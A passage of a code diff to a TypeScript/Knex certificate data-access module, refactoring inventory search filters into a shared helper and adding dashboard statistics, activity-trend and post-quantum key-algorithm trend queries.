-        const sanitizedValue = sanitizeSqlLikeString(commonName);
-        query = query.andWhere(`${TableName.Certificate}.commonName`, "like", `%${sanitizedValue}%`);
-      }
+    if (filters.commonName) {
+      const sanitizedValue = sanitizeSqlLikeString(filters.commonName);
+      q = q.andWhere(`${TableName.Certificate}.commonName`, "like", `%${sanitizedValue}%`);
+    }
+
+    if (filters.search) {
+      const sanitizedValue = sanitizeSqlLikeString(filters.search);
+      q = q.andWhere((qb: Knex.QueryBuilder) => {
+        void qb
+          .where(`${TableName.Certificate}.commonName`, "like", `%${sanitizedValue}%`)
+          .orWhere(`${TableName.Certificate}.altNames`, "like", `%${sanitizedValue}%`)
+          .orWhere(`${TableName.Certificate}.serialNumber`, "like", `%${sanitizedValue}%`)
+          .orWhere(`${TableName.Certificate}.friendlyName`, "like", `%${sanitizedValue}%`);
+
+        if (isUuidV4(sanitizedValue)) {
+          void qb.orWhere(`${TableName.Certificate}.id`, sanitizedValue);
+        }
+      });
+    }
 
-      if (search) {
-        const sanitizedValue = sanitizeSqlLikeString(search);
-        query = query.andWhere((qb) => {
-          void qb
-            .where(`${TableName.Certificate}.commonName`, "like", `%${sanitizedValue}%`)
-            .orWhere(`${TableName.Certificate}.altNames`, "like", `%${sanitizedValue}%`)
-            .orWhere(`${TableName.Certificate}.serialNumber`, "like", `%${sanitizedValue}%`)
-            .orWhere(`${TableName.Certificate}.friendlyName`, "like", `%${sanitizedValue}%`);
-
-          if (isUuidV4(sanitizedValue)) {
-            void qb.orWhere(`${TableName.Certificate}.id`, sanitizedValue);
+    if (filters.status) {
+      const now = new Date();
+      const statuses = Array.isArray(filters.status) ? filters.status : [filters.status];
+
+      q = q.andWhere((qb: Knex.QueryBuilder) => {
+        statuses.forEach((statusValue, index) => {
+          const whereMethod = index === 0 ? "where" : "orWhere";
+
+          if (statusValue === CertStatus.ACTIVE) {
+            void qb[whereMethod]((innerQb: Knex.QueryBuilder) => {
+              void innerQb
+                .where(`${TableName.Certificate}.notAfter`, ">", now)
+                .andWhere(`${TableName.Certificate}.status`, "!=", CertStatus.REVOKED);
+            });
+          } else if (statusValue === CertStatus.EXPIRED) {
+            void qb[whereMethod]((innerQb: Knex.QueryBuilder) => {
+              void innerQb
+                .where(`${TableName.Certificate}.notAfter`, "<=", now)
+                .andWhere(`${TableName.Certificate}.status`, "!=", CertStatus.REVOKED);
+            });
+          } else {
+            void qb[whereMethod](`${TableName.Certificate}.status`, statusValue);
           }
         });
-      }
+      });
+    }
 
-      if (status) {
-        const now = new Date();
-        const statuses = Array.isArray(status) ? status : [status];
-
-        query = query.andWhere((qb) => {
-          statuses.forEach((statusValue, index) => {
-            const whereMethod = index === 0 ? "where" : "orWhere";
-
-            if (statusValue === CertStatus.ACTIVE) {
-              void qb[whereMethod]((innerQb) => {
-                void innerQb
-                  .where(`${TableName.Certificate}.notAfter`, ">", now)
-                  .andWhere(`${TableName.Certificate}.status`, "!=", CertStatus.REVOKED);
-              });
-            } else if (statusValue === CertStatus.EXPIRED) {
-              void qb[whereMethod]((innerQb) => {
-                void innerQb
-                  .where(`${TableName.Certificate}.notAfter`, "<=", now)
-                  .andWhere(`${TableName.Certificate}.status`, "!=", CertStatus.REVOKED);
-              });
-            } else {
-              void qb[whereMethod](`${TableName.Certificate}.status`, statusValue);
-            }
-          });
-        });
-      }
+    if (filters.fromDate) {
+      q = q.andWhere(`${TableName.Certificate}.createdAt`, ">=", filters.fromDate);
+    }
 
-      if (fromDate) {
-        query = query.andWhere(`${TableName.Certificate}.createdAt`, ">=", fromDate);
-      }
+    if (filters.toDate) {
+      q = q.andWhere(`${TableName.Certificate}.createdAt`, "<=", filters.toDate);
+    }
+
+    if (filters.profileIds) {
+      q = q.whereIn(`${TableName.Certificate}.profileId`, filters.profileIds);
+    }
+
+    if (filters.metadataFilter && filters.metadataFilter.length > 0) {
+      q = applyMetadataFilter(q, filters.metadataFilter, "certificateId", TableName.Certificate);
+    }
+
+    if (filters.extendedKeyUsage) {
+      q = q.whereRaw(`"${TableName.Certificate}"."extendedKeyUsages" @> ARRAY[?]::text[]`, [filters.extendedKeyUsage]);
+    }
 
-      if (toDate) {
-        query = query.andWhere(`${TableName.Certificate}.createdAt`, "<=", toDate);
+    if (filters.keyAlgorithm) {
+      if (Array.isArray(filters.keyAlgorithm)) {
+        q = q.whereIn(`${TableName.Certificate}.keyAlgorithm`, filters.keyAlgorithm);
+      } else {
+        q = q.andWhere(`${TableName.Certificate}.keyAlgorithm`, filters.keyAlgorithm);
       }
+    }
+
+    if (filters.signatureAlgorithm) {
+      q = q.andWhere(`${TableName.Certificate}.signatureAlgorithm`, filters.signatureAlgorithm);
+    }
+
+    if (filters.keySizes && filters.keySizes.length > 0) {
+      const allAlgorithms = filters.keySizes.flatMap((size) => keySizeToAlgorithms(size));
+      q = q.whereIn(`${TableName.Certificate}.keyAlgorithm`, allAlgorithms);
+    }
+
+    if (filters.caIds) {
+      q = q.whereIn(`${TableName.Certificate}.caId`, filters.caIds);
+    }
+
+    if (filters.enrollmentTypes && hasProfileJoin) {
+      q = q.whereIn(`${TableName.PkiCertificateProfile}.enrollmentType`, filters.enrollmentTypes);
+    }
+
+    if (filters.source) {
+      const sources = Array.isArray(filters.source) ? filters.source : [filters.source];
+      const includesIssued = sources.includes("issued");
+      const otherSources = sources.filter((s) => s !== "issued");
 
-      if (profileIds) {
-        query = query.whereIn(`${TableName.Certificate}.profileId`, profileIds);
+      q = q.andWhere((qb: Knex.QueryBuilder) => {
+        if (otherSources.length > 0) {
+          void qb.whereIn(`${TableName.Certificate}.source`, otherSources);
+        }
+        if (includesIssued) {
+          void qb.orWhere(`${TableName.Certificate}.source`, "issued").orWhereNull(`${TableName.Certificate}.source`);
+        }
+      });
+    }
+
+    if (filters.notAfterFrom) {
+      q = q.andWhere(`${TableName.Certificate}.notAfter`, ">=", filters.notAfterFrom);
+    }
+
+    if (filters.notAfterTo) {
+      q = q.andWhere(`${TableName.Certificate}.notAfter`, "<=", filters.notAfterTo);
+    }
+
+    if (filters.notBeforeFrom) {
+      q = q.andWhere(`${TableName.Certificate}.notBefore`, ">=", filters.notBeforeFrom);
+    }
+
+    if (filters.notBeforeTo) {
+      q = q.andWhere(`${TableName.Certificate}.notBefore`, "<=", filters.notBeforeTo);
+    }
+
+    return q;
+  };
+
+  const countCertificatesInProject = async (
+    {
+      projectId,
+      ...filters
+    }: {
+      projectId: string;
+    } & TInventoryFilterParams,
+    permissionFilters?: ProcessedPermissionRules
+  ) => {
+    try {
+      interface CountResult {
+        count: string;
       }
 
-      if (metadataFilter && metadataFilter.length > 0) {
-        query = applyMetadataFilter(query, metadataFilter, "certificateId", TableName.Certificate);
+      let query = db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .join(TableName.Project, `${TableName.CertificateAuthority}.projectId`, `${TableName.Project}.id`)
+        .where(`${TableName.Project}.id`, projectId);
+
+      const hasEnrollmentTypeFilter = Boolean(filters.enrollmentTypes);
+      if (hasEnrollmentTypeFilter) {
+        query = query.leftJoin(
+          TableName.PkiCertificateProfile,
+          `${TableName.Certificate}.profileId`,
+          `${TableName.PkiCertificateProfile}.id`
+        );
       }
 
-      if (extendedKeyUsage) {
-        // PostgreSQL array containment: extendedKeyUsages @> ARRAY['codeSigning']::text[]
-        query = query.whereRaw(`"${TableName.Certificate}"."extendedKeyUsages" @> ARRAY[?]::text[]`, [
-          extendedKeyUsage
-        ]);
+      query = applyInventoryFilters(query, filters, hasEnrollmentTypeFilter) as typeof query;
+
+      if (permissionFilters) {
+        query = applyProcessedPermissionRulesToQuery(query, TableName.Certificate, permissionFilters) as typeof query;
       }
 
       const count = await query.count("*").first();
@@ -225,7 +328,7 @@ export const certificateDALFactory = (db: TDbClient) => {
   };
 
   const findActiveCertificatesForSync = async (
-    filter: Partial<TCertificates & { friendlyName?: string; commonName?: string }>,
+    filter: Partial<Omit<TCertificates, "status" | "keyAlgorithm" | "source"> & TInventoryFilterParams>,
     options?: { limit?: number; offset?: number },
     permissionFilters?: ProcessedPermissionRules
   ): Promise<(TCertificates & { hasPrivateKey: boolean })[]> => {
@@ -356,29 +459,37 @@ export const certificateDALFactory = (db: TDbClient) => {
     }
   };
 
+  type TCertificateWithInventoryFields = TCertificates & {
+    hasPrivateKey: boolean;
+    caName?: string | null;
+    profileName?: string | null;
+    enrollmentType?: string | null;
+  };
+
   const findWithPrivateKeyInfo = async (
-    filter: Partial<
-      TCertificates & {
-        friendlyName?: string;
-        commonName?: string;
-        search?: string;
-        status?: string | string[];
-        profileIds?: string[];
-        fromDate?: Date;
-        toDate?: Date;
-        metadataFilter?: Array<{ key: string; value?: string }>;
-        extendedKeyUsage?: string;
-      }
-    >,
+    filter: Partial<Omit<TCertificates, "status" | "keyAlgorithm" | "source"> & TInventoryFilterParams>,
     options?: { offset?: number; limit?: number; sort?: [string, "asc" | "desc"][] },
     permissionFilters?: ProcessedPermissionRules
-  ): Promise<(TCertificates & { hasPrivateKey: boolean })[]> => {
+  ): Promise<TCertificateWithInventoryFields[]> => {
     try {
       let query = db
         .replicaNode()(TableName.Certificate)
         .leftJoin(TableName.CertificateSecret, `${TableName.Certificate}.id`, `${TableName.CertificateSecret}.certId`)
+        .leftJoin(
+          TableName.CertificateAuthority,
+          `${TableName.Certificate}.caId`,
+          `${TableName.CertificateAuthority}.id`
+        )
+        .leftJoin(
+          TableName.PkiCertificateProfile,
+          `${TableName.Certificate}.profileId`,
+          `${TableName.PkiCertificateProfile}.id`
+        )
         .select(selectAllTableCols(TableName.Certificate))
-        .select(db.ref(`${TableName.CertificateSecret}.certId`).as("privateKeyRef"));
+        .select(db.ref(`${TableName.CertificateSecret}.certId`).as("privateKeyRef"))
+        .select(db.ref("name").withSchema(TableName.CertificateAuthority).as("caName"))
+        .select(db.ref("slug").withSchema(TableName.PkiCertificateProfile).as("profileName"))
+        .select(db.ref("enrollmentType").withSchema(TableName.PkiCertificateProfile).as("enrollmentType"));
 
       const {
         friendlyName,
@@ -390,6 +501,16 @@ export const certificateDALFactory = (db: TDbClient) => {
         toDate,
         metadataFilter,
         extendedKeyUsage,
+        keyAlgorithm,
+        signatureAlgorithm,
+        keySizes,
+        caIds,
+        enrollmentTypes,
+        source,
+        notAfterFrom,
+        notAfterTo,
+        notBeforeFrom,
+        notBeforeTo,
         ...regularFilters
       } = filter;
 
@@ -399,80 +520,31 @@ export const certificateDALFactory = (db: TDbClient) => {
         }
       });
 
-      if (friendlyName) {
-        const sanitizedValue = sanitizeSqlLikeString(friendlyName);
-        query = query.andWhere(`${TableName.Certificate}.friendlyName`, "like", `%${sanitizedValue}%`);
-      }
-
-      if (commonName) {
-        const sanitizedValue = sanitizeSqlLikeString(commonName);
-        query = query.andWhere(`${TableName.Certificate}.commonName`, "like", `%${sanitizedValue}%`);
-      }
-
-      if (search) {
-        const sanitizedValue = sanitizeSqlLikeString(search);
-        query = query.andWhere((qb) => {
-          void qb
-            .where(`${TableName.Certificate}.commonName`, "like", `%${sanitizedValue}%`)
-            .orWhere(`${TableName.Certificate}.altNames`, "like", `%${sanitizedValue}%`)
-            .orWhere(`${TableName.Certificate}.serialNumber`, "like", `%${sanitizedValue}%`)
-            .orWhere(`${TableName.Certificate}.friendlyName`, "like", `%${sanitizedValue}%`);
-
-          if (isUuidV4(sanitizedValue)) {
-            void qb.orWhere(`${TableName.Certificate}.id`, sanitizedValue);
-          }
-        });
-      }
-
-      if (status) {
-        const now = new Date();
-        const statuses = Array.isArray(status) ? status : [status];
-
-        query = query.andWhere((qb) => {
-          statuses.forEach((statusValue, index) => {
-            const whereMethod = index === 0 ? "where" : "orWhere";
-
-            if (statusValue === CertStatus.ACTIVE) {
-              void qb[whereMethod]((innerQb) => {
-                void innerQb
-                  .where(`${TableName.Certificate}.notAfter`, ">", now)
-                  .andWhere(`${TableName.Certificate}.status`, "!=", CertStatus.REVOKED);
-              });
-            } else if (statusValue === CertStatus.EXPIRED) {
-              void qb[whereMethod]((innerQb) => {
-                void innerQb
-                  .where(`${TableName.Certificate}.notAfter`, "<=", now)
-                  .andWhere(`${TableName.Certificate}.status`, "!=", CertStatus.REVOKED);
-              });
-            } else {
-              void qb[whereMethod](`${TableName.Certificate}.status`, statusValue);
-            }
-          });
-        });
-      }
-
-      if (fromDate) {
-        query = query.andWhere(`${TableName.Certificate}.createdAt`, ">=", fromDate);
-      }
-
-      if (toDate) {
-        query = query.andWhere(`${TableName.Certificate}.createdAt`, "<=", toDate);
-      }
-
-      if (profileIds) {
-        query = query.whereIn(`${TableName.Certificate}.profileId`, profileIds);
-      }
-
-      if (metadataFilter && metadataFilter.length > 0) {
-        query = applyMetadataFilter(query, metadataFilter, "certificateId", TableName.Certificate);
-      }
-
-      if (extendedKeyUsage) {
-        // PostgreSQL array containment: extendedKeyUsages @> ARRAY['codeSigning']::text[]
-        query = query.whereRaw(`"${TableName.Certificate}"."extendedKeyUsages" @> ARRAY[?]::text[]`, [
-          extendedKeyUsage
-        ]);
-      }
+      query = applyInventoryFilters(
+        query,
+        {
+          friendlyName,
+          commonName,
+          search,
+          status,
+          profileIds,
+          fromDate,
+          toDate,
+          metadataFilter,
+          extendedKeyUsage,
+          keyAlgorithm,
+          signatureAlgorithm,
+          keySizes,
+          caIds,
+          enrollmentTypes,
+          source,
+          notAfterFrom,
+          notAfterTo,
+          notBeforeFrom,
+          notBeforeTo
+        },
+        true
+      ) as typeof query;
 
       if (permissionFilters) {
         query = applyProcessedPermissionRulesToQuery(query, TableName.Certificate, permissionFilters) as typeof query;
@@ -486,17 +558,15 @@ export const certificateDALFactory = (db: TDbClient) => {
       }
       if (options?.sort) {
         options.sort.forEach(([column, direction]) => {
-          query = query.orderBy(column, direction);
+          query = query.orderBy(`${TableName.Certificate}.${column}`, direction);
         });
       }
 
       const results = await query;
-      return results.map((row) => {
-        return {
-          ...row,
-          hasPrivateKey: row.privateKeyRef !== null
-        };
-      });
+      return results.map((row) => ({
+        ...row,
+        hasPrivateKey: row.privateKeyRef !== null
+      }));
     } catch (error) {
       throw new DatabaseError({ error, name: "Find certificates with private key info" });
     }
@@ -508,7 +578,6 @@ export const certificateDALFactory = (db: TDbClient) => {
     caType?: "internal" | "external" | null;
   };
 
-  // Flexible lookup filter for certificate queries - either id or serialNumber, not both
   type TCertificateLookupFilter = { id: string; serialNumber?: never } | { id?: never; serialNumber: string };
 
   const findWithFullDetails = async (
@@ -516,8 +585,7 @@ export const certificateDALFactory = (db: TDbClient) => {
     tx?: Knex
   ): Promise<TCertificateWithRequestDetails | undefined> => {
     try {
-      let query = (tx || db)
-        .replicaNode()(TableName.Certificate)
+      let query = (tx || db.replicaNode())(TableName.Certificate)
         .leftJoin(
           TableName.CertificateAuthority,
           `${TableName.Certificate}.caId`,
@@ -538,7 +606,6 @@ export const certificateDALFactory = (db: TDbClient) => {
         .select(db.ref("slug").withSchema(TableName.PkiCertificateProfile).as("profileName"))
         .select(db.ref("id").withSchema(TableName.InternalCertificateAuthority).as("internalCaId"));
 
-      // Dynamic where clause based on filter
       if (filter.id) {
         query = query.where(`${TableName.Certificate}.id`, filter.id);
       } else {
@@ -566,6 +633,378 @@ export const certificateDALFactory = (db: TDbClient) => {
     }
   };
 
+  const getDashboardStats = async (projectId: string) => {
+    try {
+      const now = new Date();
+      const thirtyDaysFromNow = new Date(now.getTime() + 30 * 24 * 60 * 60 * 1000);
+
+      interface TotalsRow {
+        total: number;
+        active: number;
+        expiringSoon: number;
+        expired: number;
+        revoked: number;
+        expiringSoonNoAutoRenewal: number;
+        expiredNotRenewed: number;
+      }
+
+      interface LabelCount {
+        label: string | null;
+        count: string;
+      }
+
+      interface LabelCountWithId extends LabelCount {
+        id: string;
+      }
+
+      interface BucketCount {
+        bucket: string;
+        count: string;
+      }
+
+      const [totalsRow] = await db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .where(`${TableName.CertificateAuthority}.projectId`, projectId)
+        .select(
+          db.raw("COUNT(*)::int as total"),
+          db.raw(
+            `COUNT(*) FILTER (WHERE "${TableName.Certificate}"."notAfter" > ? AND "${TableName.Certificate}"."status" != ?)::int as active`,
+            [now, CertStatus.REVOKED]
+          ),
+          db.raw(
+            `COUNT(*) FILTER (WHERE "${TableName.Certificate}"."notAfter" > ? AND "${TableName.Certificate}"."notAfter" <= ? AND "${TableName.Certificate}"."status" != ?)::int as "expiringSoon"`,
+            [now, thirtyDaysFromNow, CertStatus.REVOKED]
+          ),
+          db.raw(
+            `COUNT(*) FILTER (WHERE "${TableName.Certificate}"."notAfter" <= ? AND "${TableName.Certificate}"."status" != ?)::int as expired`,
+            [now, CertStatus.REVOKED]
+          ),
+          db.raw(`COUNT(*) FILTER (WHERE "${TableName.Certificate}"."status" = ?)::int as revoked`, [
+            CertStatus.REVOKED
+          ]),
+          db.raw(
+            `COUNT(*) FILTER (WHERE "${TableName.Certificate}"."notAfter" > ? AND "${TableName.Certificate}"."notAfter" <= ? AND "${TableName.Certificate}"."status" != ? AND "${TableName.Certificate}"."renewBeforeDays" IS NULL)::int as "expiringSoonNoAutoRenewal"`,
+            [now, thirtyDaysFromNow, CertStatus.REVOKED]
+          ),
+          db.raw(
+            `COUNT(*) FILTER (WHERE "${TableName.Certificate}"."notAfter" <= ? AND "${TableName.Certificate}"."status" != ? AND "${TableName.Certificate}"."renewedByCertificateId" IS NULL)::int as "expiredNotRenewed"`,
+            [now, CertStatus.REVOKED]
+          )
+        );
+
+      const totals = totalsRow as unknown as TotalsRow;
+
+      const byAlgorithm = await db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .where(`${TableName.CertificateAuthority}.projectId`, projectId)
+        .select(`${TableName.Certificate}.keyAlgorithm as label`)
+        .count("* as count")
+        .groupBy(`${TableName.Certificate}.keyAlgorithm`);
+
+      const byCA = await db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .where(`${TableName.CertificateAuthority}.projectId`, projectId)
+        .select(`${TableName.CertificateAuthority}.id as id`)
+        .select(`${TableName.CertificateAuthority}.name as label`)
+        .count("* as count")
+        .groupBy(`${TableName.CertificateAuthority}.id`, `${TableName.CertificateAuthority}.name`);
+
+      const byStatus = [
+        { label: "Active", count: totals.active },
+        { label: "Expired", count: totals.expired },
+        { label: "Revoked", count: totals.revoked }
+      ];
+
+      const byEnrollmentMethod = await db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .leftJoin(
+          TableName.PkiCertificateProfile,
+          `${TableName.Certificate}.profileId`,
+          `${TableName.PkiCertificateProfile}.id`
+        )
+        .where(`${TableName.CertificateAuthority}.projectId`, projectId)
+        .select(db.raw(`COALESCE("${TableName.PkiCertificateProfile}"."enrollmentType", 'API') as label`))
+        .count("* as count")
+        .groupBy("label");
+
+      const sevenDaysFromNow = new Date(now.getTime() + 7 * 24 * 60 * 60 * 1000);
+      const sixtyDaysFromNow = new Date(now.getTime() + 60 * 24 * 60 * 60 * 1000);
+      const ninetyDaysFromNow = new Date(now.getTime() + 90 * 24 * 60 * 60 * 1000);
+
+      const expirationBuckets = await db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .where(`${TableName.CertificateAuthority}.projectId`, projectId)
+        .where(`${TableName.Certificate}.status`, "!=", CertStatus.REVOKED)
+        .select(
+          db.raw(
+            `CASE
+              WHEN "${TableName.Certificate}"."notAfter" < ? THEN 'expired'
+              WHEN "${TableName.Certificate}"."notAfter" <= ? THEN '0-7d'
+              WHEN "${TableName.Certificate}"."notAfter" <= ? THEN '8-30d'
+              WHEN "${TableName.Certificate}"."notAfter" <= ? THEN '31-60d'
+              WHEN "${TableName.Certificate}"."notAfter" <= ? THEN '61-90d'
+              ELSE '90d+'
+            END as bucket`,
+            [now, sevenDaysFromNow, thirtyDaysFromNow, sixtyDaysFromNow, ninetyDaysFromNow]
+          )
+        )
+        .select(db.raw("count(*)::int as count"))
+        .groupBy("bucket");
+
+      const validityBuckets = await db
+        .replicaNode()(TableName.Certificate)
+        .where(`${TableName.Certificate}.projectId`, projectId)
+        .where(`${TableName.Certificate}.status`, "!=", CertStatus.REVOKED)
+        .where(`${TableName.Certificate}.notAfter`, ">", now)
+        .whereRaw(`"${TableName.Certificate}"."extendedKeyUsages" @> ARRAY[?]::text[]`, ["serverAuth"])
+        .select(
+          db.raw(
+            `CASE
+              WHEN EXTRACT(EPOCH FROM ("${TableName.Certificate}"."notAfter" - "${TableName.Certificate}"."notBefore")) / 86400 <= 47 THEN '<=47d'
+              WHEN EXTRACT(EPOCH FROM ("${TableName.Certificate}"."notAfter" - "${TableName.Certificate}"."notBefore")) / 86400 <= 99 THEN '48-99d'
+              WHEN EXTRACT(EPOCH FROM ("${TableName.Certificate}"."notAfter" - "${TableName.Certificate}"."notBefore")) / 86400 <= 199 THEN '100-199d'
+              ELSE '>=200d'
+            END as bucket`
+          )
+        )
+        .select(db.raw("count(*)::int as count"))
+        .groupBy("bucket");
+
+      return {
+        totals: {
+          total: totals.total,
+          active: totals.active,
+          expiringSoon: totals.expiringSoon,
+          expired: totals.expired,
+          revoked: totals.revoked
+        },
+        expiringSoonNoAutoRenewal: totals.expiringSoonNoAutoRenewal,
+        expiredNotRenewed: totals.expiredNotRenewed,
+        distributions: {
+          byEnrollmentMethod: (byEnrollmentMethod as unknown as LabelCount[]).map((r) => ({
+            label: r.label || "Unknown",
+            count: Number(r.count)
+          })),
+          byAlgorithm: (byAlgorithm as unknown as LabelCount[]).map((r) => ({
+            label: r.label || "Unknown",
+            count: Number(r.count)
+          })),
+          byCA: (byCA as unknown as LabelCountWithId[]).map((r) => ({
+            id: r.id,
+            label: r.label || "Unknown",
+            count: Number(r.count)
+          })),
+          byStatus
+        },
+        expirationBuckets: (expirationBuckets as unknown as BucketCount[]).map((r) => ({
+          bucket: r.bucket,
+          count: Number(r.count)
+        })),
+        validityBuckets: (validityBuckets as unknown as BucketCount[]).map((r) => ({
+          bucket: r.bucket,
+          count: Number(r.count)
+        }))
+      };
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Get dashboard stats" });
+    }
+  };
+
+  const getActivityTrend = async (projectId: string, daysBack: number) => {
+    try {
+      const startDate = new Date();
+      startDate.setDate(startDate.getDate() - daysBack);
+      startDate.setHours(0, 0, 0, 0);
+      const now = new Date();
+
+      const useDaily = daysBack <= 30;
+
+      if (!useDaily) {
+        startDate.setDate(1);
+      }
+      const truncUnit = useDaily ? "day" : "month";
+      const dateFormat = useDaily ? "YYYY-MM-DD" : "YYYY-MM";
+
+      const periodExpr = (col: string) =>
+        db.raw(`to_char(date_trunc(?, "${TableName.Certificate}"."${col}"), ?) as period`, [truncUnit, dateFormat]);
+
+      const issued = await db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .where(`${TableName.CertificateAuthority}.projectId`, projectId)
+        .where(`${TableName.Certificate}.notBefore`, ">=", startDate)
+        .where(`${TableName.Certificate}.notBefore`, "<=", now)
+        .select(periodExpr("notBefore"))
+        .select(db.raw("count(*)::int as count"))
+        .groupBy("period")
+        .orderBy("period");
+
+      const expired = await db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .where(`${TableName.CertificateAuthority}.projectId`, projectId)
+        .where(`${TableName.Certificate}.notAfter`, ">=", startDate)
+        .where(`${TableName.Certificate}.notAfter`, "<=", now)
+        .where(`${TableName.Certificate}.status`, "!=", CertStatus.REVOKED)
+        .select(periodExpr("notAfter"))
+        .select(db.raw("count(*)::int as count"))
+        .groupBy("period")
+        .orderBy("period");
+
+      const revoked = await db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .where(`${TableName.CertificateAuthority}.projectId`, projectId)
+        .where(`${TableName.Certificate}.status`, CertStatus.REVOKED)
+        .where(`${TableName.Certificate}.revokedAt`, ">=", startDate)
+        .where(`${TableName.Certificate}.revokedAt`, "<=", now)
+        .select(periodExpr("revokedAt"))
+        .select(db.raw("count(*)::int as count"))
+        .groupBy("period")
+        .orderBy("period");
+
+      const renewed = await db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .where(`${TableName.CertificateAuthority}.projectId`, projectId)
+        .whereNotNull(`${TableName.Certificate}.renewedFromCertificateId`)
+        .where(`${TableName.Certificate}.notBefore`, ">=", startDate)
+        .where(`${TableName.Certificate}.notBefore`, "<=", now)
+        .select(periodExpr("notBefore"))
+        .select(db.raw("count(*)::int as count"))
+        .groupBy("period")
+        .orderBy("period");
+
+      const periods: Array<{
+        period: string;
+        issued: number;
+        expired: number;
+        revoked: number;
+        renewed: number;
+      }> = [];
+      interface PeriodCount {
+        period: string;
+        count: string;
+      }
+
+      const typedIssued = issued as unknown as PeriodCount[];
+      const typedExpired = expired as unknown as PeriodCount[];
+      const typedRevoked = revoked as unknown as PeriodCount[];
+      const typedRenewed = renewed as unknown as PeriodCount[];
+
+      const issuedMap = new Map(typedIssued.map((r) => [r.period, r.count]));
+      const expiredMap = new Map(typedExpired.map((r) => [r.period, r.count]));
+      const revokedMap = new Map(typedRevoked.map((r) => [r.period, r.count]));
+      const renewedMap = new Map(typedRenewed.map((r) => [r.period, r.count]));
+
+      const cursor = new Date(startDate);
+      while (cursor <= now) {
+        let periodKey: string;
+        if (useDaily) {
+          periodKey = `${cursor.getFullYear()}-${String(cursor.getMonth() + 1).padStart(2, "0")}-${String(cursor.getDate()).padStart(2, "0")}`;
+        } else {
+          periodKey = `${cursor.getFullYear()}-${String(cursor.getMonth() + 1).padStart(2, "0")}`;
+        }
+        const issuedCount = issuedMap.get(periodKey);
+        const expiredCount = expiredMap.get(periodKey);
+        const revokedCount = revokedMap.get(periodKey);
+        const renewedCount = renewedMap.get(periodKey);
+        periods.push({
+          period: periodKey,
+          issued: issuedCount ? Number(issuedCount) : 0,
+          expired: expiredCount ? Number(expiredCount) : 0,
+          revoked: revokedCount ? Number(revokedCount) : 0,
+          renewed: renewedCount ? Number(renewedCount) : 0
+        });
+        if (useDaily) {
+          cursor.setDate(cursor.getDate() + 1);
+        } else {
+          cursor.setMonth(cursor.getMonth() + 1);
+        }
+      }
+
+      return { periods };
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Get activity trend" });
+    }
+  };
+
+  const getPqcTrend = async (projectId: string, daysBack: number) => {
+    try {
+      const startDate = new Date();
+      startDate.setDate(startDate.getDate() - daysBack);
+      startDate.setHours(0, 0, 0, 0);
+      const now = new Date();
+
+      const useDaily = daysBack <= 30;
+      if (!useDaily) {
+        startDate.setDate(1);
+      }
+      const truncUnit = useDaily ? "day" : "month";
+      const dateFormat = useDaily ? "YYYY-MM-DD" : "YYYY-MM";
+
+      const rows = await db
+        .replicaNode()(TableName.Certificate)
+        .join(TableName.CertificateAuthority, `${TableName.Certificate}.caId`, `${TableName.CertificateAuthority}.id`)
+        .where(`${TableName.CertificateAuthority}.projectId`, projectId)
+        .where(`${TableName.Certificate}.notBefore`, ">=", startDate)
+        .where(`${TableName.Certificate}.notBefore`, "<=", now)
+        .whereIn(`${TableName.Certificate}.keyAlgorithm`, [...PQC_KEY_ALGORITHMS, ...NON_PQC_KEY_ALGORITHMS])
+        .select(
+          db.raw(`to_char(date_trunc(?, "${TableName.Certificate}"."notBefore"), ?) as period`, [truncUnit, dateFormat])
+        )
+        .select(
+          db.raw(
+            `CASE WHEN "${TableName.Certificate}"."keyAlgorithm" IN (${PQC_KEY_ALGORITHMS.map(() => "?").join(",")}) THEN 'pqc' ELSE 'nonPqc' END as bucket`,
+            [...PQC_KEY_ALGORITHMS]
+          )
+        )
+        .select(db.raw("count(*)::int as count"))
+        .groupBy("period", "bucket")
+        .orderBy("period");
+
+      interface PeriodBucketCount {
+        period: string;
+        bucket: "pqc" | "nonPqc";
+        count: string;
+      }
+      const typed = rows as unknown as PeriodBucketCount[];
+      const pqcMap = new Map<string, number>();
+      const nonPqcMap = new Map<string, number>();
+      typed.forEach((r) => {
+        if (r.bucket === "pqc") pqcMap.set(r.period, Number(r.count));
+        else nonPqcMap.set(r.period, Number(r.count));
+      });
+
+      const periods: Array<{ period: string; pqc: number; nonPqc: number }> = [];
+      const cursor = new Date(startDate);
+      while (cursor <= now) {
+        const periodKey = useDaily
+          ? `${cursor.getFullYear()}-${String(cursor.getMonth() + 1).padStart(2, "0")}-${String(cursor.getDate()).padStart(2, "0")}`
+          : `${cursor.getFullYear()}-${String(cursor.getMonth() + 1).padStart(2, "0")}`;
+        periods.push({
+          period: periodKey,
+          pqc: pqcMap.get(periodKey) ?? 0,
+          nonPqc: nonPqcMap.get(periodKey) ?? 0
+        });
+        if (useDaily) {
+          cursor.setDate(cursor.getDate() + 1);
+        } else {
+          cursor.setMonth(cursor.getMonth() + 1);
+        }
+      }
+
+      return { periods };
+    } catch (error) {
+      throw new DatabaseError({ error, name: "Get PQC trend" });
+    }
+  };
+
   return {
     ...certificateOrm,
     countCertificatesInProject,
